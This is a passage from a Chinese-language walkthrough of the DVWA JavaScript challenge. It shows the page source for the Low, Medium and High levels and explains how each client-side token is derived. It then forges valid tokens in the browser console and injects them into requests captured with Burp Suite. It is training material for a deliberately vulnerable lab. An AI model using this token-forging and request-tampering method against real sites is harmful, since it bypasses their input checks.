class="hljs-params">n,t,r,o,u,c,f</span>){<span class="hljs-keyword">return</span> <span class="hljs-title function_">e</span>(r^(t|~o),n,t,u,c,f)}<span class="hljs-keyword">function</span> <span class="hljs-title function_">i</span>(<span class="hljs-params">n,r</span>){n[r&gt;&gt;<span class="hljs-number">5</span>]|=<span class="hljs-number">128</span>&lt;&lt;r%<span class="hljs-number">32</span>,n[<span class="hljs-number">14</span>+(r+<span class="hljs-number">64</span>&gt;&gt;&gt;<span class="hljs-number">9</span>&lt;&lt;<span class="hljs-number">4</span>)]=r;<span class="hljs-keyword">var</span> e,i,a,d,h,l=<span class="hljs-number">1732584193</span>,g=-<span class="hljs-number">271733879</span>,v=-<span class="hljs-number">1732584194</span>,m=<span class="hljs-number">271733878</span>;<span class="hljs-keyword">for</span>(e=<span class="hljs-number">0</span>;e&lt;n.<span class="hljs-property">length</span>;e+=<span class="hljs-number">16</span>)i=l,a=g,d=v,h=m,g=<span class="hljs-title function_">f</span>(g=<span class="hljs-title function_">f</span>(g=<span class="hljs-title function_">f</span>(g=<span class="hljs-title function_">f</span>(g=<span class="hljs-title function_">c</span>(g=<span class="hljs-title function_">c</span>(g=<span class="hljs-title function_">c</span>(g=<span class="hljs-title function_">c</span>(g=<span class="hljs-title function_">u</span>(g=<span class="hljs-title function_">u</span>(g=<span class="hljs-title function_">u</span>(g=<span class="hljs-title function_">u</span>(g=<span class="hljs-title function_">o</span>(g=<span class="hljs-title function_">o</span>(g=<span class="hljs-title function_">o</span>(g=<span class="hljs-title function_">o</span>(g,v=<span class="hljs-title function_">o</span>(v,m=<span class="hljs-title function_">o</span>(m,l=<span class="hljs-title function_">o</span>(l,g,v,m,n[e],<span class="hljs-number">7</span>,-<span class="hljs-number">680876936</span>),g,v,n[e+<span class="hljs-number">1</span>],<span class="hljs-number">12</span>,-<span class="hljs-number">389564586</span>),l,g,n[e+<span class="hljs-number">2</span>],<span class="hljs-number">17</span>,<span class="hljs-number">606105819</span>),m,l,n[e+<span class="hljs-number">3</span>],<span class="hljs-number">22</span>,-<span class="hljs-number">1044525330</span>),v=<span class="hljs-title function_">o</span>(v,m=<span class="hljs-title function_">o</span>(m,l=<span class="hljs-title function_">o</span>(l,g,v,m,n[e+<span class="hljs-number">4</span>],<span class="hljs-number">7</span>,-<span class="hljs-number">176418897</span>),g,v,n[e+<span class="hljs-number">5</span>],<span class="hljs-number">12</span>,<span class="hljs-number">1200080426</span>),l,g,n[e+<span class="hljs-number">6</span>],<span class="hljs-number">17</span>,-<span class="hljs-number">1473231341</span>),m,l,n[e+<span class="hljs-number">7</span>],<span class="hljs-number">22</span>,-<span class="hljs-number">45705983</span>),v=<span class="hljs-title function_">o</span>(v,m=<span class="hljs-title function_">o</span>(m,l=<span class="hljs-title function_">o</span>(l,g,v,m,n[e+<span class="hljs-number">8</span>],<span class="hljs-number">7</span>,<span class="hljs-number">1770035416</span>),g,v,n[e+<span class="hljs-number">9</span>],<span class="hljs-number">12</span>,-<span class="hljs-number">1958414417</span>),l,g,n[e+<span class="hljs-number">10</span>],<span class="hljs-number">17</span>,-<span class="hljs-number">42063</span>),m,l,n[e+<span class="hljs-number">11</span>],<span class="hljs-number">22</span>,-<span class="hljs-number">1990404162</span>),v=<span class="hljs-title function_">o</span>(v,m=<span class="hljs-title function_">o</span>(m,l=<span class="hljs-title function_">o</span>(l,g,v,m,n[e+<span class="hljs-number">12</span>],<span class="hljs-number">7</span>,<span class="hljs-number">1804603682</span>),g,v,n[e+<span class="hljs-number">13</span>],<span class="hljs-number">12</span>,-<span class="hljs-number">40341101</span>),l,g,n[e+<span class="hljs-number">14</span>],<span class="hljs-number">17</span>,-<span class="hljs-number">1502002290</span>),m,l,n[e+<span class="hljs-number">15</span>],<span class="hljs-number">22</span>,<span class="hljs-number">1236535329</span>),v=<span class="hljs-title function_">u</span>(v,m=<span class="hljs-title function_">u</span>(m,l=<span class="hljs-title function_">u</span>(l,g,v,m,n[e+<span class="hljs-number">1</span>],<span class="hljs-number">5</span>,-<span class="hljs-number">165796510</span>),g,v,n[e+<span class="hljs-number">6</span>],<span class="hljs-number">9</span>,-<span class="hljs-number">1069501632</span>),l,g,n[e+<span class="hljs-number">11</span>],<span class="hljs-number">14</span>,<span class="hljs-number">643717713</span>),m,l,n[e],<span class="hljs-number">20</span>,-<span class="hljs-number">373897302</span>),v=<span class="hljs-title function_">u</span>(v,m=<span class="hljs-title function_">u</span>(m,l=<span class="hljs-title function_">u</span>(l,g,v,m,n[e+<span class="hljs-number">5</span>],<span class="hljs-number">5</span>,-<span class="hljs-number">701558691</span>),g,v,n[e+<span class="hljs-number">10</span>],<span class="hljs-number">9</span>,<span class="hljs-number">38016083</span>),l,g,n[e+<span class="hljs-number">15</span>],<span class="hljs-number">14</span>,-<span class="hljs-number">660478335</span>),m,l,n[e+<span class="hljs-number">4</span>],<span class="hljs-number">20</span>,-<span class="hljs-number">405537848</span>),v=<span class="hljs-title function_">u</span>(v,m=<span class="hljs-title function_">u</span>(m,l=<span class="hljs-title function_">u</span>(l,g,v,m,n[e+<span class="hljs-number">9</span>],<span class="hljs-number">5</span>,<span class="hljs-number">568446438</span>),g,v,n[e+<span class="hljs-number">14</span>],<span class="hljs-number">9</span>,-<span class="hljs-number">1019803690</span>),l,g,n[e+<span class="hljs-number">3</span>],<span class="hljs-number">14</span>,-<span class="hljs-number">187363961</span>),m,l,n[e+<span class="hljs-number">8</span>],<span class="hljs-number">20</span>,<span class="hljs-number">1163531501</span>),v=<span class="hljs-title function_">u</span>(v,m=<span class="hljs-title function_">u</span>(m,l=<span class="hljs-title function_">u</span>(l,g,v,m,n[e+<span class="hljs-number">13</span>],<span class="hljs-number">5</span>,-<span class="hljs-number">1444681467</span>),g,v,n[e+<span class="hljs-number">2</span>],<span class="hljs-number">9</span>,-<span class="hljs-number">51403784</span>),l,g,n[e+<span class="hljs-number">7</span>],<span class="hljs-number">14</span>,<span class="hljs-number">1735328473</span>),m,l,n[e+<span class="hljs-number">12</span>],<span class="hljs-number">20</span>,-<span class="hljs-number">1926607734</span>),v=<span class="hljs-title function_">c</span>(v,m=<span class="hljs-title function_">c</span>(m,l=<span class="hljs-title function_">c</span>(l,g,v,m,n[e+<span class="hljs-number">5</span>],<span class="hljs-number">4</span>,-<span class="hljs-number">378558</span>),g,v,n[e+<span class="hljs-number">8</span>],<span class="hljs-number">11</span>,-<span class="hljs-number">2022574463</span>),l,g,n[e+<span class="hljs-number">11</span>],<span class="hljs-number">16</span>,<span class="hljs-number">1839030562</span>),m,l,n[e+<span class="hljs-number">14</span>],<span class="hljs-number">23</span>,-<span class="hljs-number">35309556</span>),v=<span class="hljs-title function_">c</span>(v,m=<span class="hljs-title function_">c</span>(m,l=<span class="hljs-title function_">c</span>(l,g,v,m,n[e+<span class="hljs-number">1</span>],<span class="hljs-number">4</span>,-<span class="hljs-number">1530992060</span>),g,v,n[e+<span class="hljs-number">4</span>],<span class="hljs-number">11</span>,<span class="hljs-number">1272893353</span>),l,g,n[e+<span class="hljs-number">7</span>],<span class="hljs-number">16</span>,-<span class="hljs-number">155497632</span>),m,l,n[e+<span class="hljs-number">10</span>],<span class="hljs-number">23</span>,-<span class="hljs-number">1094730640</span>),v=<span class="hljs-title function_">c</span>(v,m=<span class="hljs-title function_">c</span>(m,l=<span class="hljs-title function_">c</span>(l,g,v,m,n[e+<span class="hljs-number">13</span>],<span class="hljs-number">4</span>,<span class="hljs-number">681279174</span>),g,v,n[e],<span class="hljs-number">11</span>,-<span class="hljs-number">358537222</span>),l,g,n[e+<span class="hljs-number">3</span>],<span class="hljs-number">16</span>,-<span class="hljs-number">722521979</span>),m,l,n[e+<span class="hljs-number">6</span>],<span class="hljs-number">23</span>,<span class="hljs-number">76029189</span>),v=<span class="hljs-title function_">c</span>(v,m=<span class="hljs-title function_">c</span>(m,l=<span class="hljs-title function_">c</span>(l,g,v,m,n[e+<span class="hljs-number">9</span>],<span class="hljs-number">4</span>,-<span class="hljs-number">640364487</span>),g,v,n[e+<span class="hljs-number">12</span>],<span class="hljs-number">11</span>,-<span class="hljs-number">421815835</span>),l,g,n[e+<span class="hljs-number">15</span>],<span class="hljs-number">16</span>,<span class="hljs-number">530742520</span>),m,l,n[e+<span class="hljs-number">2</span>],<span class="hljs-number">23</span>,-<span class="hljs-number">995338651</span>),v=<span class="hljs-title function_">f</span>(v,m=<span class="hljs-title function_">f</span>(m,l=<span class="hljs-title function_">f</span>(l,g,v,m,n[e],<span class="hljs-number">6</span>,-<span class="hljs-number">198630844</span>),g,v,n[e+<span class="hljs-number">7</span>],<span class="hljs-number">10</span>,<span class="hljs-number">1126891415</span>),l,g,n[e+<span class="hljs-number">14</span>],<span class="hljs-number">15</span>,-<span class="hljs-number">1416354905</span>),m,l,n[e+<span class="hljs-number">5</span>],<span class="hljs-number">21</span>,-<span class="hljs-number">57434055</span>),v=<span class="hljs-title function_">f</span>(v,m=<span class="hljs-title function_">f</span>(m,l=<span class="hljs-title function_">f</span>(l,g,v,m,n[e+<span class="hljs-number">12</span>],<span class="hljs-number">6</span>,<span class="hljs-number">1700485571</span>),g,v,n[e+<span class="hljs-number">3</span>],<span class="hljs-number">10</span>,-<span class="hljs-number">1894986606</span>),l,g,n[e+<span class="hljs-number">10</span>],<span class="hljs-number">15</span>,-<span class="hljs-number">1051523</span>),m,l,n[e+<span class="hljs-number">1</span>],<span class="hljs-number">21</span>,-<span class="hljs-number">2054922799</span>),v=<span class="hljs-title function_">f</span>(v,m=<span class="hljs-title function_">f</span>(m,l=<span class="hljs-title function_">f</span>(l,g,v,m,n[e+<span class="hljs-number">8</span>],<span class="hljs-number">6</span>,<span class="hljs-number">1873313359</span>),g,v,n[e+<span class="hljs-number">15</span>],<span class="hljs-number">10</span>,-<span class="hljs-number">30611744</span>),l,g,n[e+<span class="hljs-number">6</span>],<span class="hljs-number">15</span>,-<span class="hljs-number">1560198380</span>),m,l,n[e+<span class="hljs-number">13</span>],<span class="hljs-number">21</span>,<span class="hljs-number">1309151649</span>),v=<span class="hljs-title function_">f</span>(v,m=<span class="hljs-title function_">f</span>(m,l=<span class="hljs-title function_">f</span>(l,g,v,m,n[e+<span class="hljs-number">4</span>],<span class="hljs-number">6</span>,-<span class="hljs-number">145523070</span>),g,v,n[e+<span class="hljs-number">11</span>],<span class="hljs-number">10</span>,-<span class="hljs-number">1120210379</span>),l,g,n[e+<span class="hljs-number">2</span>],<span class="hljs-number">15</span>,<span class="hljs-number">718787259</span>),m,l,n[e+<span class="hljs-number">9</span>],<span class="hljs-number">21</span>,-<span class="hljs-number">343485551</span>),l=<span class="hljs-title function_">t</span>(l,i),g=<span class="hljs-title function_">t</span>(g,a),v=<span class="hljs-title function_">t</span>(v,d),m=<span class="hljs-title function_">t</span>(m,h);<span class="hljs-keyword">return</span>[l,g,v,m]}<span class="hljs-keyword">function</span> <span class="hljs-title function_">a</span>(<span class="hljs-params">n</span>){<span class="hljs-keyword">var</span> t,r=<span class="hljs-string">&quot;&quot;</span>,e=<span class="hljs-number">32</span>*n.<span class="hljs-property">length</span>;<span class="hljs-keyword">for</span>(t=<span class="hljs-number">0</span>;t&lt;e;t+=<span class="hljs-number">8</span>)r+=<span class="hljs-title class_">String</span>.<span class="hljs-title function_">fromCharCode</span>(n[t&gt;&gt;<span class="hljs-number">5</span>]&gt;&gt;&gt;t%<span class="hljs-number">32</span>&amp;<span class="hljs-number">255</span>);<span class="hljs-keyword">return</span> r}<span class="hljs-keyword">function</span> <span class="hljs-title function_">d</span>(<span class="hljs-params">n</span>){<span class="hljs-keyword">var</span> t,r=[];<span class="hljs-keyword">for</span>(r[(n.<span class="hljs-property">length</span>&gt;&gt;<span class="hljs-number">2</span>)-<span class="hljs-number">1</span>]=<span class="hljs-keyword">void</span> <span class="hljs-number">0</span>,t=<span class="hljs-number">0</span>;t&lt;r.<span class="hljs-property">length</span>;t+=<span class="hljs-number">1</span>)r[t]=<span class="hljs-number">0</span>;<span class="hljs-keyword">var</span> e=<span class="hljs-number">8</span>*n.<span class="hljs-property">length</span>;<span class="hljs-keyword">for</span>(t=<span class="hljs-number">0</span>;t&lt;e;t+=<span class="hljs-number">8</span>)r[t&gt;&gt;<span class="hljs-number">5</span>]|=(<span class="hljs-number">255</span>&amp;n.<span class="hljs-title function_">charCodeAt</span>(t/<span class="hljs-number">8</span>))&lt;&lt;t%<span class="hljs-number">32</span>;<span class="hljs-keyword">return</span> r}<span class="hljs-keyword">function</span> <span class="hljs-title function_">h</span>(<span class="hljs-params">n</span>){<span class="hljs-keyword">return</span> <span class="hljs-title function_">a</span>(<span class="hljs-title function_">i</span>(<span class="hljs-title function_">d</span>(n),<span class="hljs-number">8</span>*n.<span class="hljs-property">length</span>))}<span class="hljs-keyword">function</span> <span class="hljs-title function_">l</span>(<span class="hljs-params">n,t</span>){<span class="hljs-keyword">var</span> r,e,o=<span class="hljs-title function_">d</span>(n),u=[],c=[];<span class="hljs-keyword">for</span>(u[<span class="hljs-number">15</span>]=c[<span class="hljs-number">15</span>]=<span class="hljs-keyword">void</span> <span class="hljs-number">0</span>,o.<span class="hljs-property">length</span>&gt;<span class="hljs-number">16</span>&amp;&amp;(o=<span class="hljs-title function_">i</span>(o,<span class="hljs-number">8</span>*n.<span class="hljs-property">length</span>)),r=<span class="hljs-number">0</span>;r&lt;<span class="hljs-number">16</span>;r+=<span class="hljs-number">1</span>)u[r]=<span class="hljs-number">909522486</span>^o[r],c[r]=<span class="hljs-number">1549556828</span>^o[r];<span class="hljs-keyword">return</span> e=<span class="hljs-title function_">i</span>(u.<span class="hljs-title function_">concat</span>(<span class="hljs-title function_">d</span>(t)),<span class="hljs-number">512</span>+<span class="hljs-number">8</span>*t.<span class="hljs-property">length</span>),<span class="hljs-title function_">a</span>(<span class="hljs-title function_">i</span>(c.<span class="hljs-title function_">concat</span>(e),<span class="hljs-number">640</span>))}<span class="hljs-keyword">function</span> <span class="hljs-title function_">g</span>(<span class="hljs-params">n</span>){<span class="hljs-keyword">var</span> t,r,e=<span class="hljs-string">&quot;&quot;</span>;<span class="hljs-keyword">for</span>(r=<span class="hljs-number">0</span>;r&lt;n.<span class="hljs-property">length</span>;r+=<span class="hljs-number">1</span>)t=n.<span class="hljs-title function_">charCodeAt</span>(r),e+=<span class="hljs-string">&quot;0123456789abcdef&quot;</span>.<span class="hljs-title function_">charAt</span>(t&gt;&gt;&gt;<span class="hljs-number">4</span>&amp;<span class="hljs-number">15</span>)+<span class="hljs-string">&quot;0123456789abcdef&quot;</span>.<span class="hljs-title function_">charAt</span>(<span class="hljs-number">15</span>&amp;t);<span class="hljs-keyword">return</span> e}<span class="hljs-keyword">function</span> <span class="hljs-title function_">v</span>(<span class="hljs-params">n</span>){<span class="hljs-keyword">return</span> <span class="hljs-built_in">unescape</span>(<span class="hljs-built_in">encodeURIComponent</span>(n))}<span class="hljs-keyword">function</span> <span class="hljs-title function_">m</span>(<span class="hljs-params">n</span>){<span class="hljs-keyword">return</span> <span class="hljs-title function_">h</span>(<span class="hljs-title function_">v</span>(n))}<span class="hljs-keyword">function</span> <span class="hljs-title function_">p</span>(<span class="hljs-params">n</span>){<span class="hljs-keyword">return</span> <span class="hljs-title function_">g</span>(<span class="hljs-title function_">m</span>(n))}<span class="hljs-keyword">function</span> <span class="hljs-title function_">s</span>(<span class="hljs-params">n,t</span>){<span class="hljs-keyword">return</span> <span class="hljs-title function_">l</span>(<span class="hljs-title function_">v</span>(n),<span class="hljs-title function_">v</span>(t))}<span class="hljs-keyword">function</span> <span class="hljs-title function_">C</span>(<span class="hljs-params">n,t</span>){<span class="hljs-keyword">return</span> <span class="hljs-title function_">g</span>(<span class="hljs-title function_">s</span>(n,t))}<span class="hljs-keyword">function</span> <span class="hljs-title function_">A</span>(<span class="hljs-params">n,t,r</span>){<span class="hljs-keyword">return</span> t?r?<span class="hljs-title function_">s</span>(t,n):<span class="hljs-title function_">C</span>(t,n):r?<span class="hljs-title function_">m</span>(n):<span class="hljs-title function_">p</span>(n)}<span class="hljs-string">&quot;function&quot;</span>==<span class="hljs-keyword">typeof</span> define&amp;&amp;define.<span class="hljs-property">amd</span>?<span class="hljs-title function_">define</span>(<span class="hljs-keyword">function</span>(<span class="hljs-params"></span>){<span class="hljs-keyword">return</span> A}):<span class="hljs-string">&quot;object&quot;</span>==<span class="hljs-keyword">typeof</span> <span class="hljs-variable language_">module</span>&amp;&amp;<span class="hljs-variable language_">module</span>.<span class="hljs-property">exports</span>?<span class="hljs-variable language_">module</span>.<span class="hljs-property">exports</span>=<span class="hljs-attr">A</span>:n.<span class="hljs-property">md5</span>=A}(<span class="hljs-variable language_">this</span>);


	<span class="hljs-keyword">function</span> <span class="hljs-title function_">rot13</span>(<span class="hljs-params">inp</span>) {
		<span class="hljs-keyword">return</span> inp.<span class="hljs-title function_">replace</span>(<span class="hljs-regexp">/[a-zA-Z]/g</span>, <span class="hljs-keyword">function</span>(<span class="hljs-params">c</span>) {
			<span class="hljs-keyword">return</span> <span class="hljs-title class_">String</span>.<span class="hljs-title function_">fromCharCode</span>((c &lt;= <span class="hljs-string">&quot;Z&quot;</span> ? <span class="hljs-number">90</span> : <span class="hljs-number">122</span>) &gt;= (c = c.<span class="hljs-title function_">charCodeAt</span>(<span class="hljs-number">0</span>) + <span class="hljs-number">13</span>) ? c : c - <span class="hljs-number">26</span>);
		});
	}

	<span class="hljs-keyword">function</span> <span class="hljs-title function_">generate_token</span>(<span class="hljs-params"></span>) {
		<span class="hljs-keyword">var</span> phrase = <span class="hljs-variable language_">document</span>.<span class="hljs-title function_">getElementById</span>(<span class="hljs-string">&quot;phrase&quot;</span>).<span class="hljs-property">value</span>;
		<span class="hljs-variable language_">document</span>.<span class="hljs-title function_">getElementById</span>(<span class="hljs-string">&quot;token&quot;</span>).<span class="hljs-property">value</span> = <span class="hljs-title function_">md5</span>(<span class="hljs-title function_">rot13</span>(phrase));
	}

	<span class="hljs-title function_">generate_token</span>();
</span><span class="hljs-tag">&lt;/<span class="hljs-name">script</span>&gt;</span>
</code></pre>
<h2>漏洞复现</h2>
<ol>
<li>
<p>在页面的源代码中发现插入的js脚本，发现是获取了 ID为<code>phrase </code>的输入框的值，<br>
然后再使用md5进行编码，后赋值给一个ID<code>token</code>，来验证token</p>
<p>最后一行中的<code>generate_token();</code>代表着加载完就调用函数，所以这个等级很简单</p>
<p><img src="https://img.casear.net/img/95118c3896acd59716438b426cdabd96.image.webp" alt="image.png"><br>
先在输入框中输入&quot;success&quot;,然后再在控制台调用函数重新编码覆盖旧的token即可</p>
</li>
<li>
<p>使用burpsuite抓包观察一下</p>
<p><img src="https://img.casear.net/img/362598536e98b0e0e6b0c48c51de93b0.image.webp" alt="image.png"></p>
<p><img src="https://img.casear.net/img/6f00f1aab6597c712c458e15ef379858.image.webp" alt="image.png"></p>
<pre><code>token=8b479aefbd90795395b3e7089ae0dc09&amp;phrase=success&amp;send=Submit
</code></pre>
<p>发现两次发送的token都一样，这时候观察源码发现有个将value值编码并赋值的函数<br>
<code>generate_token();</code><br>
直接在浏览器控制台手动调用函数并传参为要加密的字符</p>
<p><img src="https://img.casear.net/img/1863150548edcfa3ed7e3e8b29ca23a7.image.webp" alt="image.png"></p>
<p>得到token后在burpsuite中修改数据为更新后的token</p>
<p><img src="https://img.casear.net/img/737e84c6e3835a8d29bdb2acfa139162.image.webp" alt="image.png"><br>
最后在返回的第77行得到了成功提示</p>
</li>
</ol>
<h1>Medium</h1>
<h2>源码</h2>
<pre class="hljs" style="background: #f3f3f3; padding: 8px;><code>	<span class="hljs-tag">&lt;<span class="hljs-name">form</span> <span class="hljs-attr">name</span>=<span class="hljs-string">&quot;low_js&quot;</span> <span class="hljs-attr">method</span>=<span class="hljs-string">&quot;post&quot;</span>&gt;</span>
		<span class="hljs-tag">&lt;<span class="hljs-name">input</span> <span class="hljs-attr">type</span>=<span class="hljs-string">&quot;hidden&quot;</span> <span class="hljs-attr">name</span>=<span class="hljs-string">&quot;token&quot;</span> <span class="hljs-attr">value</span>=<span class="hljs-string">&quot;&quot;</span> <span class="hljs-attr">id</span>=<span class="hljs-string">&quot;token&quot;</span> /&gt;</span>
		<span class="hljs-tag">&lt;<span class="hljs-name">label</span> <span class="hljs-attr">for</span>=<span class="hljs-string">&quot;phrase&quot;</span>&gt;</span>Phrase<span class="hljs-tag">&lt;/<span class="hljs-name">label</span>&gt;</span> 
                <span class="hljs-tag">&lt;<span class="hljs-name">input</span> <span class="hljs-attr">type</span>=<span class="hljs-string">&quot;text&quot;</span> <span class="hljs-attr">name</span>=<span class="hljs-string">&quot;phrase&quot;</span> <span class="hljs-attr">value</span>=<span class="hljs-string">&quot;ChangeMe&quot;</span> <span class="hljs-attr">id</span>=<span class="hljs-string">&quot;phrase&quot;</span> /&gt;</span>
		<span class="hljs-tag">&lt;<span class="hljs-name">input</span> <span class="hljs-attr">type</span>=<span class="hljs-string">&quot;submit&quot;</span> <span class="hljs-attr">id</span>=<span class="hljs-string">&quot;send&quot;</span> <span class="hljs-attr">name</span>=<span class="hljs-string">&quot;send&quot;</span> <span class="hljs-attr">value</span>=<span class="hljs-string">&quot;Submit&quot;</span> /&gt;</span>
	<span class="hljs-tag">&lt;/<span class="hljs-name">form</span>&gt;</span><span class="hljs-tag">&lt;<span class="hljs-name">script</span> <span class="hljs-attr">src</span>=<span class="hljs-string">&quot;../../vulnerabilities/javascript/source/medium.js&quot;</span>&gt;</span><span class="hljs-tag">&lt;/<span class="hljs-name">script</span>&gt;</span>
</code></pre>
<h2>漏洞复现</h2>
<p>发现form表单下并没有像 Low 等级中直接写出JavaScript代码，而且引用了一个文件</p>
<pre class="hljs" style="background: #f3f3f3; padding: 8px;><code><span class="hljs-keyword">function</span> <span class="hljs-title function_">do_something</span>(<span class="hljs-params">e</span>) {
	<span class="hljs-keyword">for</span> (<span class="hljs-keyword">var</span> t = <span class="hljs-string">&quot;&quot;</span>, n = e.<span class="hljs-property">length</span> - <span class="hljs-number">1</span>; n &gt;= <span class="hljs-number">0</span>; n--) 
        t += e[n];
	<span class="hljs-keyword">return</span> t
}
<span class="hljs-built_in">setTimeout</span>(<span class="hljs-keyword">function</span>(<span class="hljs-params"></span>) {
	<span class="hljs-title function_">do_elsesomething</span>(<span class="hljs-string">&quot;XX&quot;</span>)
}, <span class="hljs-number">300</span>);

<span class="hljs-keyword">function</span> <span class="hljs-title function_">do_elsesomething</span>(<span class="hljs-params">e</span>) {
	<span class="hljs-variable language_">document</span>.<span class="hljs-title function_">getElementById</span>(<span class="hljs-string">&quot;token&quot;</span>)
		.<span class="hljs-property">value</span> = <span class="hljs-title function_">do_something</span>(e + <span class="hljs-variable language_">document</span>.<span class="hljs-title function_">getElementById</span>(<span class="hljs-string">&quot;phrase&quot;</span>)
			.<span class="hljs-property">value</span> + <span class="hljs-string">&quot;XX&quot;</span>)
}
</code></pre>
<p>生成 token 的函数被放在单独的js文件中，生成的方式是将 &quot;XX&quot; + phrase 变量的值 + &quot;XX&quot;字符串反转作为 token。</p>
<pre class="hljs" style="background: #f3f3f3; padding: 8px;><code><span class="hljs-title function_">do_something</span>(e + <span class="hljs-variable language_">document</span>.<span class="hljs-title function_">getElementById</span>(<span class="hljs-string">&quot;phrase&quot;</span>).<span class="hljs-property">value</span> + <span class="hljs-string">&quot;XX&quot;</span>)
</code></pre>
<p><img src="https://casear.net/static/img/385f8e27c5086e2abb6a432eb632ff2c.image.webp" alt=""><br>
在控制台中将这段加密部分打印出来</p>
<p>再用burpsuite查看传过去的token</p>
<p><img src="https://img.casear.net/img/49a36a0cdf224f15fa7dfb5c54a9a942.image.webp" alt="image.png"></p>
<p>解题思路和上一等级一样，调用函数生成新的token，再进行发送即可通关</p>
<p><img src="https://img.casear.net/img/4274c1462f9ba884a61205a78b5def7f.image.webp" alt="image.png"></p>
<p><img src="https://img.casear.net/img/78111552ec10b45eae2c2429f9bc7c92.image.webp" alt="image.png"></p>
<h1>High</h1>
<h2>源码</h2>
<pre class="hljs" style="background: #f3f3f3; padding: 8px;><code>	<span class="hljs-tag">&lt;<span class="hljs-name">form</span> <span class="hljs-attr">name</span>=<span class="hljs-string">&quot;low_js&quot;</span> <span class="hljs-attr">method</span>=<span class="hljs-string">&quot;post&quot;</span>&gt;</span>
		<span class="hljs-tag">&lt;<span class="hljs-name">input</span> <span class="hljs-attr">type</span>=<span class="hljs-string">&quot;hidden&quot;</span> <span class="hljs-attr">name</span>=<span class="hljs-string">&quot;token&quot;</span> <span class="hljs-attr">value</span>=<span class="hljs-string">&quot;&quot;</span> <span class="hljs-attr">id</span>=<span class="hljs-string">&quot;token&quot;</span> /&gt;</span>
		<span class="hljs-tag">&lt;<span class="hljs-name">label</span> <span class="hljs-attr">for</span>=<span class="hljs-string">&quot;phrase&quot;</span>&gt;</span>Phrase<span class="hljs-tag">&lt;/<span class="hljs-name">label</span>&gt;</span> 
                <span class="hljs-tag">&lt;<span class="hljs-name">input</span> <span class="hljs-attr">type</span>=<span class="hljs-string">&quot;text&quot;</span> <span class="hljs-attr">name</span>=<span class="hljs-string">&quot;phrase&quot;</span> <span class="hljs-attr">value</span>=<span class="hljs-string">&quot;ChangeMe&quot;</span> <span class="hljs-attr">id</span>=<span class="hljs-string">&quot;phrase&quot;</span> /&gt;</span>
		<span class="hljs-tag">&lt;<span class="hljs-name">input</span> <span class="hljs-attr">type</span>=<span class="hljs-string">&quot;submit&quot;</span> <span class="hljs-attr">id</span>=<span class="hljs-string">&quot;send&quot;</span> <span class="hljs-attr">name</span>=<span class="hljs-string">&quot;send&quot;</span> <span class="hljs-attr">value</span>=<span class="hljs-string">&quot;Submit&quot;</span> /&gt;</span>
	<span class="hljs-tag">&lt;/<span class="hljs-name">form</span>&gt;</span><span class="hljs-tag">&lt;<span class="hljs-name">script</span> <span class="hljs-attr">src</span>=<span class="hljs-string">&quot;../../vulnerabilities/javascript/source/high.js&quot;</span>&gt;</span><span class="hljs-tag">&lt;/<span class="hljs-name">script</span>&gt;</span>
        
</code></pre>
<h2>漏洞复现</h2>
<p><img src="https://img.casear.net/img/762ec9481b8420d91485582a5027be85.image.webp" alt="image.png"><br>
继续查看引入的js文件，发现被混淆过，使用<a href="http://deobfuscatejavascript.com/#">还原工具</a>得到源码</p>
<pre class="hljs" style="background: #f3f3f3; padding: 8px;><code>
<span class="hljs-keyword">function</span> <span class="hljs-title function_">do_something</span>(<span class="hljs-params">e</span>) {
    <span class="hljs-keyword">for</span> (<span class="hljs-keyword">var</span> t = <span class="hljs-string">&quot;&quot;</span>, n = e.<span class="hljs-property">length</span> - <span class="hljs-number">1</span>; n &gt;= <span class="hljs-number">0</span>; n--) t += e[n];
    <span class="hljs-keyword">return</span> t
}
<span class="hljs-keyword">function</span> <span class="hljs-title function_">token_part_3</span>(<span class="hljs-params">t, y = <span class="hljs-string">&quot;ZZ&quot;</span></span>) {
    <span class="hljs-variable language_">document</span>.<span class="hljs-title function_">getElementById</span>(<span class="hljs-string">&quot;token&quot;</span>).<span class="hljs-property">value</span> = <span class="hljs-title function_">sha256</span>(<span class="hljs-variable language_">document</span>.<span class="hljs-title function_">getElementById</span>(<span class="hljs-string">&quot;token&quot;</span>).<span class="hljs-property">value</span> + y)
}
<span class="hljs-keyword">function</span> <span class="hljs-title function_">token_part_2</span>(<span class="hljs-params">e = <span class="hljs-string">&quot;YY&quot;</span></span>) {
    <span class="hljs-variable language_">document</span>.<span class="hljs-title function_">getElementById</span>(<span class="hljs-string">&quot;token&quot;</span>).<span class="hljs-property">value</span> = <span class="hljs-title function_">sha256</span>(e + <span class="hljs-variable language_">document</span>.<span class="hljs-title function_">getElementById</span>(<span class="hljs-string">&quot;token&quot;</span>).<span class="hljs-property">value</span>)
}
<span class="hljs-keyword">function</span> <span class="hljs-title function_">token_part_1</span>(<span class="hljs-params">a, b</span>) {
    <span class="hljs-variable language_">document</span>.<span class="hljs-title function_">getElementById</span>(<span class="hljs-string">&quot;token&quot;</span>).<span class="hljs-property">value</span> = <span class="hljs-title function_">do_something</span>(<span class="hljs-variable language_">document</span>.<span class="hljs-title function_">getElementById</span>(<span class="hljs-string">&quot;phrase&quot;</span>).<span class="hljs-property">value</span>)
}
<span class="hljs-variable language_">document</span>.<span class="hljs-title function_">getElementById</span>(<span class="hljs-string">&quot;phrase&quot;</span>).<span class="hljs-property">value</span> = <span class="hljs-string">&quot;&quot;</span>;
<span class="hljs-built_in">setTimeout</span>(<span class="hljs-keyword">function</span>(<span class="hljs-params"></span>) {
    <span class="hljs-title function_">token_part_2</span>(<span class="hljs-string">&quot;XX&quot;</span>)
}, <span class="hljs-number">300</span>);
<span class="hljs-variable language_">document</span>.<span class="hljs-title function_">getElementById</span>(<span class="hljs-string">&quot;send&quot;</span>).<span class="hljs-title function_">addEventListener</span>(<span class="hljs-string">&quot;click&quot;</span>, token_part_3);
<span class="hljs-title function_">token_part_1</span>(<span class="hljs-string">&quot;ABCD&quot;</span>, <span class="hljs-number">44</span>);
</code></pre>
<p>由于执行 <code>token_part_2(&quot;XX&quot;)</code> 有 300 毫秒延时，所以 <code>token_part_1(&quot;ABCD&quot;, 44)</code> 会被先执行，而 <code>token_part_3()</code> 则是和提交按钮的 <code>click</code> 事件一起执行。</p>
<p>攻击方式#<br>
和前面的思路差不多，依次执行 <code>token_part_1(&quot;ABCD&quot;, 44)</code> 和 <code>oken_part_2(&quot;XX&quot;)</code>，最后点击提交执行 <code>token_part_3()</code>。</p>
<p><img src="https://img.casear.net/img/a634701a98a681955271104b06012075.image.webp" alt="image.png"></p>
<p><img src="https://img.casear.net/img/be134335258e6d30661f66528060bdf7.image.webp" alt="image.png"></p>
<h1>Impossible</h1>
